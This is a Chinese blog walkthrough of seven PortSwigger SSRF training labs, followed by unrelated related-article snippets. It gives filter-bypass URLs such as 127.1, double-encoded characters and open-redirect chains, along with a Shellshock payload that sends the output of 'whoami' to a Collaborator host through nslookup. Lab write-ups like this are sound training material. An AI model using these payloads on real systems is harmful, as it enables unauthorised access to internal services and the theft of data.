burp靶场--ssrf

burp靶场–ssrf

1.什么是ssrf

服务器端请求伪造是一种 Web 安全漏洞,允许攻击者导致服务器端应用程序向非预期位置发出请求。
在典型的 SSRF 攻击中,攻击者可能会导致服务器连接到组织基础设施内的仅供内部使用的服务。在其他情况下,他们可能能够强制服务器连接到任意外部系统。这可能会泄露敏感数据,例如授权凭据,或者代码执行。

实验1:针对本地服务器的基本 SSRF

ssrf绕过了admin的访问控制,通过get传参数来达到攻击目的,将指定用户carlos删除:

## 进入靶场:
https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-localhost
## 操作:
浏览/admin并发现您无法直接访问管理页面。
访问一个产品,点击“检查库存”,在Burp Suite中拦截请求,并发送给Burp Repeater。
stockApi将参数 中的 URL 更改为http://localhost/admin。这应该显示管理界面。
读取HTML,识别删除目标用户的URL,即:http://localhost/admin/delete?username=carlos
在参数中提交此URL stockApi,以传递SSRF攻击。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
跟随重定向:删除成功:
在这里插入图片描述

实验2:针对另一个后端系统的基本 SSRF

### 实验要求:
该实验室具有库存检查功能,可以从内部系统获取数据。
要解决该实验,请使用库存检查功能扫描192.168.0.X端口 8080 上管理界面的内部范围,然后使用它删除用户carlos。
### 操作:
访问一个产品,点击“检查库存”,在Burp Suite中拦截请求,并发送给Burp Intruder。
单击“清除§”,更改stockApi参数,http://192.168.0.1:8080/admin然后突出显示 IP 地址的最后一个八位字节(数字1),单击“添加§”。
切换到“有效负载”选项卡,将有效负载类型更改为“数字”,然后在“从”、“到”和“步长”框中分别输入 1、255 和 1。
单击“开始攻击”。
单击“状态”列可按状态代码升序对其进行排序。您应该看到一个状态为 200 的条目,显示管理界面。
点击这个请求,将其发送到Burp Repeater,并将其中的路径更改为stockApi:/admin/delete?username=carlos

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
url get请求删除用户:
在这里插入图片描述

实验3:带外检测的盲 SSRF

### 实验要求:
该网站使用分析软件,在加载产品页面时获取 Referer 标头中指定的 URL。
要完成本实验,请使用此功能向公共 Burp Collaborator 服务器发出 HTTP 请求。
### 操作:
访问一个产品,在Burp Suite中拦截请求,并发送给Burp Repeater。
转到中继器选项卡。选择 Referer 标头,右键单击并选择“插入 Collaborator Payload”,将原始域替换为 Burp Collaborator 生成的域。发送请求。
转到“协作者”选项卡,然后单击“立即投票”。如果您没有看到列出的任何交互,请等待几秒钟然后重试,因为服务器端命令是异步执行的。
您应该会看到应用程序根据负载结果发起的一些 DNS 和 HTTP 交互。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

实验4:具有基于黑名单的输入过滤器的SSRF

### 实验要求:
该实验室具有库存检查功能,可以从内部系统获取数据。
要解决该实验,请更改库存检查 URL 以访问管理界面,http://localhost/admin并删除用户carlos。
开发人员部署了两种较弱的反 SSRF 防御措施,您需要绕过它们。
### 操作:
访问一个产品,点击“检查库存”,在Burp Suite中拦截请求,并发送给Burp Repeater。
将参数中的URL修改stockApi为http://127.0.0.1/,观察请求被阻止。
通过将 URL 更改为以下内容来绕过阻止:http://127.1/
将 URL 更改为http://127.1/admin,观察该 URL 再次被阻止。
通过将“a”双 URL 编码为 %2561 来混淆“a”,以访问管理界面并删除目标用户。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

实验5:通过开放重定向漏洞绕过过滤器的 SSRF

### 实验要求:
该实验室具有库存检查功能,可以从内部系统获取数据。
要解决该实验,请更改库存检查 URL 以访问管理界面,http://192.168.0.12:8080/admin并删除用户carlos。
库存检查器被限制只能访问本地应用程序,因此您需要首先找到影响应用程序的开放重定向。### 操作:
访问一个产品,点击“检查库存”,在Burp Suite中拦截请求,并发送给Burp Repeater。
尝试篡改参数stockApi并观察到不可能使服务器直接向不同的主机发出请求。
单击“下一个产品”,观察path参数被放置到重定向响应的 Location 标头中,从而导致开放重定向。
创建一个利用开放重定向漏洞的 URL,并重定向到管理界面,并将其输入stockApi股票检查器的参数中:/product/nextProduct?path=http://192.168.0.12:8080/admin
请注意,库存检查器遵循重定向并向您显示管理页面。
修改删除目标用户的路径:/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos

检测查看库存的流量包:
在这里插入图片描述

检测其功能的数据包:
在这里插入图片描述
在这里插入图片描述
发送到repeater

创建一个利用开放重定向漏洞的URL,重定向到管理界面,并将其输入股票检查器上的stockApi参数:

/product/nextProduct?path=http://192.168.0.12:8080/admin
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

实验6:带有 Shellshock 漏洞的盲目 SSRF

### 实验要求:
该网站使用分析软件,在加载产品页面时获取 Referer 标头中指定的 URL。
为了完成该实验,请使用此功能对端口 8080 范围内的内部服务器 执行盲目 SSRF192.168.0.X攻击。在盲目攻击中,对内部服务器使用 Shellshock 负载来窃取操作系统用户的名称。### 实验操作:
在Burp Suite Professional中,从 BApp Store 安装“Collaborator Everywhere”扩展。
将实验室的域添加到 Burp Suite 的目标范围中,以便 Collaborator Everywhere 能够瞄准它。
浏览网站。
请注意,当您加载产品页面时,它会通过 Referer 标头触发与 Burp Collaborator 的 HTTP 交互。
请注意,HTTP 交互在 HTTP 请求中包含您的用户代理字符串。
将请求发送到产品页面至 Burp Intruder。
转到Collaborator选项卡并生成唯一的 Burp Collaborator 有效负载。将其放入以下 ​​Shellshock 负载中:() { :; }; /usr/bin/nslookup $(whoami).BURP-COLLABORATOR-SUBDOMAIN
将 Burp Intruder 请求中的 User-Agent 字符串替换为包含您的 Collaborator 域的 Shellshock 有效负载。
单击“清除§”,更改 Referer 标头,然后http://192.168.0.1:8080突出显示 IP 地址的最后一个八位字节(数字1),然后单击“添加§”。
切换到“有效负载”选项卡,将有效负载类型更改为“数字”,然后在“从”、“到”和“步长”框中分别输入 1、255 和 1。
单击“开始攻击”。
攻击完成后,返回“协作者”选项卡,然后单击“立即投票”。如果您没有看到列出的任何交互,请等待几秒钟然后重试,因为服务器端命令是异步执行的。您应该看到由成功的盲目SSRF 攻击所击中的后端系统发起的 DNS 交互。操作系统用户的名称应出现在 DNS 子域中。
要完成实验,请输入操作系统用户的名称。

在这里插入图片描述
为了测试,需要安装插件:
在Burp Suite Professional中,从BApp Store安装"Collaborator Everywhere"扩展
在这里插入图片描述
插件的检测

将实验室域添加到Burp Suite的目标范围,以便Collaborator Everywhere将其作为目标。
在这里插入图片描述
在这里插入图片描述
观察HTTP交互在HTTP请求中包含User-Agent字符串。将对产品页面的请求发送给Burp Intruder
在这里插入图片描述
ssrf盲测

使用Burp Collaborator 客户端生成唯一的 Burp Collaborator 有效载荷,并将其放入以下 Shellshock 有效载荷中
() { :; }; /usr/bin/nslookup $(whoami).BURP-COLLABORATOR-SUBDOMAIN

我的是:
() { :; }; /usr/bin/nslookup $(whoami).a0bxi9n7k9aet0253kqkh12io9u0ir6g.oastify.com

单击“clear §”,更改 Referer 标头,http://192.168.0.1:8080然后突出显示 IP 地址的最后一个八位字节(数字1),单击“添加 §”
在这里插入图片描述
切换到Payloads选项卡,将有效负载类型更改为Numbers,并在"From"、“To"和"Step"框中分别输入1、255和1(单击"开始攻击”)
在这里插入图片描述
攻击完成后,返回Collaborator选项卡,然后单击"立即轮询"。应该看到一个DNS交互,它是由被成功的盲SSRF攻击击中的后端系统发起的。操作系统用户的名称应显示在DNS子域中。

(如果始终没有结果,考虑是否是cookie过期,换一个cookie;或者重新复制一个BP客户端URL)
在这里插入图片描述
在这里插入图片描述
提交flag,完成实验:
在这里插入图片描述

实验7:具有基于白名单的输入过滤器的 SSRF

### 实验参考:
该实验室具有库存检查功能,可以从内部系统获取数据。
要解决该实验,请更改库存检查 URL 以访问管理界面,http://localhost/admin并删除用户carlos。
开发人员已经部署了您需要绕过的反 SSRF 防御。### 实验操作:
访问一个产品,点击“检查库存”,在Burp Suite中拦截请求,并发送给Burp Repeater。
将参数中的 URL 更改stockApi为http://127.0.0.1/并观察应用程序正在解析 URL、提取主机名并根据白名单对其进行验证。
将 URL 更改为http://username@stock.weliketoshop.net/并观察是否已接受该 URL,这表明 URL 解析器支持嵌入凭据。
将 a 附加#到用户名并观察该 URL 现在被拒绝。
双 URL 编码#并%2523观察极其可疑的“内部服务器错误”响应,表明服务器可能已尝试连接到“用户名”。
要访问管理界面并删除目标用户,请将 URL 更改为:http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
将URL更改为

http://username@stock.weliketoshop.net/
并观察其是否被接受,结果表明URL解析器支持嵌入式凭据
在这里插入图片描述
在用户名后附加一个#,观察URL被拒绝
在这里插入图片描述

在这里插入图片描述
完成实验 :
因为没有管理员凭据,所以使用http://localhost:80绕过:
要访问管理界面并删除目标用户,将URL更改为:
http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos

在这里插入图片描述
在这里插入图片描述

参考:

### ssrf:burp靶场:
https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-localhost
### burp ssrf靶场参考:
https://mp.weixin.qq.com/s/ZUFS8ISQv8qm0iCEB0sh6Q
### payloads:ssrf服务端请求伪造
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
### owasp 服务端请求伪造:ssrf
https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/19-Testing_for_Server-Side_Request_Forgery

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/630968.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

python数字图像处理基础(七)——直方图均衡化、傅里叶变换

目录 直方图均衡化均衡化原理均衡化效果标准直方图均衡化自适应直方图均衡化 傅里叶变换原理低通滤波高通滤波 直方图均衡化 均衡化原理 图像均衡化是一种基本的图像处理技术,通过更新图像直方图的像素强度分布来调整图像的全局对比度。这样做可以使低对比度的区域…

Docker安装开源Blog(Typecho)

前言 首先这个镜像是centos7.9进行安装PHP环境,然后挂载目录去运行的,镜像大概300MB左右,没学过PHP,没办法给Dockerfile文件 参考文章:Docker安装Typecho | D-y Blog感知不强,图一乐https://www.wlul.top…

IntelliJ IDEA 拉取gitlab项目

一、准备好Gitlab服务器及项目 http://192.168.31.104/root/com.saas.swaggerdemogit 二、打开 IntelliJ IDEA安装插件 打开GitLab上的项目,输入项目地址 http://192.168.31.104/root/com.saas.swaggerdemogit 弹出输入登录用户名密码,完成。 操作Comm…

学习JavaEE的日子 day13 封装 static private this 类加载机制

Day13 1. private – 私有化 理解:private是访问修饰符的一种,访问修饰符规定了访问权限. 作用: ​ 1.private修饰属性:该属性只能在类的内部使用 ​ 2.private修饰方法:该方法只能在类的内部使用 应用场景&#xff1…

HBuilder X中uView UI框架的安装及使用

开发工具: HBuilder X 在最上方的工具中点击 插件安装 ——> 安装新插件 ——> 前往插件市场安装 在作者排行榜中找到 uView UI 选择该版本 然后点击下载并导入HBuilder X 然后选择你想导入的项目 在项目根目录中的main.js中,引入并使用uView的JS库&#xff…

《Linux C编程实战》笔记:出错处理

这一节书上把它放到线程这一章,按理说应该在前面就讲了 头文件errno.h定义了变量errno,它存储了错误发生时的错误码,通过错误码可以得到错误的信息 程序开始执行时,变量errno被初始化为0。很多库函数在执行过程中遇到错误时就会…

数字身份所有权:Web3时代用户数据的掌控权

随着Web3时代的来临,数字身份的概念正焕发出崭新的光芒。在这个数字化的时代,用户的个人数据变得愈加珍贵,而Web3则为用户带来了数字身份所有权的概念,重新定义了用户与个人数据之间的关系。本文将深入探讨Web3时代用户数据的掌控…

COCO数据集下载

目录 数据集介绍 方法一 方法二 数据集介绍 COCO(Common Objects in Context)数据集是一个广泛用于计算机视觉任务的大型图像数据集。它是由微软研究(Microsoft Research)创建的,旨在促进计算机视觉领域的研究和发展…

C++ STL ->priority_queue(优先级队列)

文章目录 priority_queue的使用priority_queue建小堆 priority_queue模拟实现emptysizetoppush仿函数 pop参考源码 优先级队列: priority_queue文档 优先队列是一种容器适配器,根据严格的弱排序标准,它的第一个元素总是它所包含的元素中最大的…

uni-app的组件(二)

多项选择器checkbox-group 多项选择器&#xff0c;内部由多个 checkbox 组成。 <checkbox-group><checkbox checked color"red" value"1"></checkbox> 篮球<!-- disabled:是否禁用 --><checkbox disabled color"rgba(0,0…

计算机系统基础知识揭秘:硬件、处理器和校验码

计算机系统基础知识揭秘&#xff1a;硬件、处理器和校验码 一、计算机系统基础知识的重要性二、计算机系统硬件2.1、内存和存储设备2.2、输入输出设备 三、中央处理器&#xff08;CPU&#xff09;3.1、运算器3.2、控制器3.3、寄存器组3.4、多核CPU 四、数据表示4.1、原码、反码…

大数据 - Kafka系列《一》- Kafka基本概念

目录 &#x1f436;1.1 什么是kafka &#x1f436;1.2 Kafka可以用来做什么 &#x1f436;1.3 kafka的特点 &#x1f959;1. 高吞吐量、低延迟 &#x1f959;2. 可扩展性 &#x1f959;3. 持久性、可靠性 &#x1f959;4. 容错性 &#x1f959;5. 高并发 &#x1f436…

LINUX基础培训十之服务管理

前言、本章学习目标 了解LINUX中的服务种类了解LINUX中常见服务的端口熟悉服务的日常管理掌握添加自定义服务 一、Linux系统服务含义及其分类 系统服务是在后台运行的应用程序&#xff0c;并且可以提供一些本地系统或网络的功能。我们把这些应用程序称作服务&#xff0c;也…

【Docker】网络模式详解及容器间网络通信

目录 一、概述 二、默认网络 三、网络模式及应用 1. Bridge模式 2. Host模式 3. none网络模式 四、自定义网络应用 1. 网络相连 2. 自定义通讯 3. 自定义IP 每篇一获 一、概述 在 Docker 中&#xff0c;网络设置包括 IP 地址、子网掩码、网关、DNS 和端口号等关键组…

Unity中图片合成图集Editor工具

一般图片合成图集用的是Unity自带的SpriteAtlas类添加一个Sprite集合&#xff0c;而所有图片保存在Sprite集合中&#xff0c;然后把Sprite通过Add方法添加到SpriteAtlas类&#xff0c;通过AssetDatabase.CreateAsset()方法来创建图集。

C语言通过MSXML6.0读写XML文件(同时支持char[]和wchar_t[]字符数组)

开发环境&#xff1a;Visual Studio 2010 运行环境&#xff1a;Windows XP SP3 第一节 读取XML文件&#xff08;使用wchar_t[]字符数组&#xff09; /* 这个程序只能在C编译器下编译成功, 请确保源文件的扩展名为c */ #define COBJMACROS #include <stdio.h> #include …

AM5-DB低压备自投装置在河北冠益荣信科技公司洞庭变电站工程中的应用

摘 要&#xff1a;随着电力需求的不断增加&#xff0c;电力系统供电可靠性要求越来越高&#xff0c;许多供电系统已具备两回或多回供电线路。备用电源自动投入装置可以有效提高供电的可靠性&#xff0c;该类装置能够在工作电源因故障断开后&#xff0c;自动且迅速地将备用电源投…

C++设计模式(李建忠)笔记3

C设计模式&#xff08;李建忠&#xff09; 本文是学习笔记&#xff0c;如有侵权&#xff0c;请联系删除。 参考链接 Youtube: C设计模式 Gtihub源码与PPT&#xff1a;https://github.com/ZachL1/Bilibili-plus 豆瓣: 设计模式–可复用面向对象软件的基础 文章目录 C设计模…

Nodejs 第三十二章(数据库)

MySQL是一种开源的关系型数据库管理系统&#xff08;RDBMS&#xff09;&#xff0c;它是最受欢迎的数据库系统之一。MySQL广泛用于Web应用程序和其他需要可靠数据存储的应用程序中。 以下是MySQL数据库的一些重要特点和概念&#xff1a; 数据库&#xff1a;MySQL是一个数据库…

龙腾荆楚 | 软件供应链安全检测中心落地襄阳

1月16日&#xff0c;襄阳市东津新区“园区提质、企业满园”行动暨2024年东津云谷首月重大项目集中签约活动圆满完成&#xff0c;开源网安城市级项目再下一城&#xff0c;分别与襄阳市政府、高校、国投签订战略合作协议&#xff0c;推动荆楚地区数字政府、数字经济、数字社会、数…